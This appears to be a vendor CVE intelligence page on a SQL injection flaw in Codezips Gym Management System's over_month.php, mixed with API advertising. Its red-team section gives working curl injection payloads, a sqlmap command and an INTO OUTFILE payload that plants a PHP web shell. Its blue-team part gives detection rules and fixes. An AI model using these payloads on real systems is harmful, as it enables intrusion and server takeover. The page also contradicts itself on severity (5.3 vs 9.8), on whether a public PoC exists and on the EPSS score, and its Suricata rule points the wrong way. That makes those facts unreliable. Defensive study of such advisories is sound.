☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-2847

CVE-2025-2847 SQL Injection in Codezips Gym Management
📅 PUBLISHED: 2025-03-27 13:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2847 is a critical SQL injection vulnerability discovered in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/over_month.php file, where the mm parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution via stacked queries or file write operations.

The vulnerability is classified as critical due to its low attack complexity, no required privileges, and no user interaction. A public proof-of-concept (PoC) exploit has been released, increasing the risk of widespread exploitation. As of this report, no official patch is available from the vendor, and the EPSS score is 0.0% (indicating low current exploitation activity, but this may change rapidly).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support and the public availability of exploit code.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) - No special conditions or complex attack sequences are required.
  • Privileges Required: None (PR:N) - No authentication is needed to exploit the vulnerability.
  • User Interaction: None (UI:N) - The victim does not need to perform any action.
  • Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) - An attacker can read all data in the database.
  • Integrity Impact: High (I:H) - An attacker can modify or delete data in the database.
  • Availability Impact: High (A:H) - An attacker can disrupt database availability (e.g., via DROP TABLE or resource exhaustion).

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability exists in the file /dashboard/admin/over_month.php. This file likely processes monthly overview data for the gym management system. The mm parameter (presumably representing a month value) is taken directly from the HTTP request (GET or POST) and concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

<?php
$mm = $_GET['mm'];
$query = "SELECT * FROM attendance WHERE month = '$mm'";
$result = mysqli_query($conn, $query);
?>

An attacker can manipulate the mm parameter to break out of the SQL string context. For example, a simple injection like:

mm=1' OR '1'='1

would result in the query:

SELECT * FROM attendance WHERE month = '1' OR '1'='1'

This would return all rows from the attendance table.

More advanced payloads can be used to extract data from other tables, perform UNION-based queries, or even write files to the server if the database user has sufficient privileges (e.g., INTO OUTFILE).

Key Mechanics:

  • Entry Point: mm parameter in /dashboard/admin/over_month.php
  • Vulnerable Function: Direct string interpolation in SQL query (likely mysqli_query or mysql_query)
  • Database: MySQL (common for PHP applications)
  • Impact: Full database compromise, potential for RCE via INTO OUTFILE or LOAD_FILE

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$mm = $_GET['mm'];
$query = "SELECT * FROM attendance WHERE month = '$mm'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual - using prepared statements):

<?php
$mm = $_GET['mm'];
$stmt = $conn->prepare("SELECT * FROM attendance WHERE month = ?");
$stmt->bind_param("s", $mm);
$stmt->execute();
$result = $stmt->get_result();
?>

Explanation: The patched code uses a prepared statement with a parameterized query. The ? placeholder is replaced with the value of $mm in a way that prevents SQL injection. The database driver handles escaping and quoting, ensuring the input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Codezips Gym Management System 1.0
  • A tool like sqlmap or curl for manual exploitation

Manual Exploitation (using curl):

# Basic boolean-based injection to confirm vulnerability
curl "http://target.com/dashboard/admin/over_month.php?mm=1' AND '1'='1"

# Extract database version
curl "http://target.com/dashboard/admin/over_month.php?mm=1' UNION SELECT @@version,2,3-- -"

# Extract table names (example)
curl "http://target.com/dashboard/admin/over_month.php?mm=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com/dashboard/admin/over_month.php?mm=1" --batch --dbs

Advanced Exploitation (File Write - if privileges allow):

# Write a web shell to the server
curl "http://target.com/dashboard/admin/over_month.php?mm=1' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'-- -"

Blue Team (Defensive)

Detection & Response:

  1. Monitor Web Logs: Look for requests to /dashboard/admin/over_month.php with suspicious mm parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --, #).
  2. WAF Rules: Deploy Web Application Firewall (WAF) rules to block SQL injection patterns in the mm parameter.
  3. Database Monitoring: Monitor database logs for unusual queries, especially those with UNION, INTO OUTFILE, or LOAD_FILE statements.
  4. Network Segmentation: Isolate the web server from critical internal networks to limit lateral movement.
  5. Immediate Patching: Since no official patch exists, consider removing or disabling the vulnerable file (over_month.php) until a fix is available.

Honeypot Setup:

  • Deploy a decoy instance of the Gym Management System to capture attacker behavior.
  • Log all requests to /dashboard/admin/over_month.php and analyze the mm parameter for malicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /dashboard/admin/over_month.php with mm parameter containing SQL injection patterns.
  • Outbound database connections from the web server to unexpected IP addresses (data exfiltration).
  • Unusual HTTP response sizes (e.g., large responses from UNION-based injections).

File System IOCs:

  • Unexpected files in the web root (e.g., shell.php, cmd.php, backdoor.php).
  • Modified or new files in /dashboard/admin/ directory.
  • Database dump files (e.g., dump.sql, backup.sql) in publicly accessible directories.

Log IOCs:

  • Web server logs showing repeated requests to /dashboard/admin/over_month.php with varying mm values.
  • Database logs showing queries with UNION, INTO OUTFILE, or LOAD_FILE statements.
  • Error logs containing SQL syntax errors (e.g., "You have an error in your SQL syntax").

YARA Rule:

rule CVE_2025_2847_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-2847"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2847"
    strings:
        $sqli_pattern1 = /mm=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /mm=.*\b(1=1|1=2|'='|''='')\b/i
        $sqli_pattern3 = /mm=.*\b(INTO\s+OUTFILE|LOAD_FILE|INTO\s+DUMPFILE)\b/i
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2025_2847_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-2847"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2847"
    strings:
        $sqli_pattern1 = /mm=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /mm=.*\b(1=1|1=2|'='|''='')\b/i
        $sqli_pattern3 = /mm=.*\b(INTO\s+OUTFILE|LOAD_FILE|INTO\s+DUMPFILE)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-2847 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the mm parameter in over_month.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2847
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/dashboard/admin/over_month.php'
        cs-uri-query|re: 'mm=.*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in month names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2847 SQL Injection Attempt";
    flow:to_server,established;
    content:"/dashboard/admin/over_month.php"; http_uri;
    content:"mm="; http_uri;
    pcre:"/mm=.*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-2847;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Vulnerable File: Rename or remove /dashboard/admin/over_month.php to prevent exploitation.
  2. Apply Virtual Patching: Use a WAF to block SQL injection patterns in the mm parameter.
  3. Database Hardening: Ensure the database user used by the application has minimal privileges (e.g., no FILE privilege, no DROP or CREATE permissions).

Long-Term Fixes:

  1. Code Review: Conduct a full security audit of the application, focusing on all user-supplied input.
  2. Parameterized Queries: Replace all dynamic SQL queries with prepared statements or parameterized queries.
  3. Input Validation: Implement strict input validation for all parameters (e.g., mm should only accept numeric values 1-12).
  4. Vendor Contact: Reach out to Codezips for an official patch. If none is forthcoming, consider migrating to a different, actively maintained gym management solution.

Compensating Controls:

  • Implement network segmentation to limit the blast radius.
  • Enable detailed logging and monitoring for the web application.
  • Conduct regular vulnerability scans and penetration tests.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2847/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.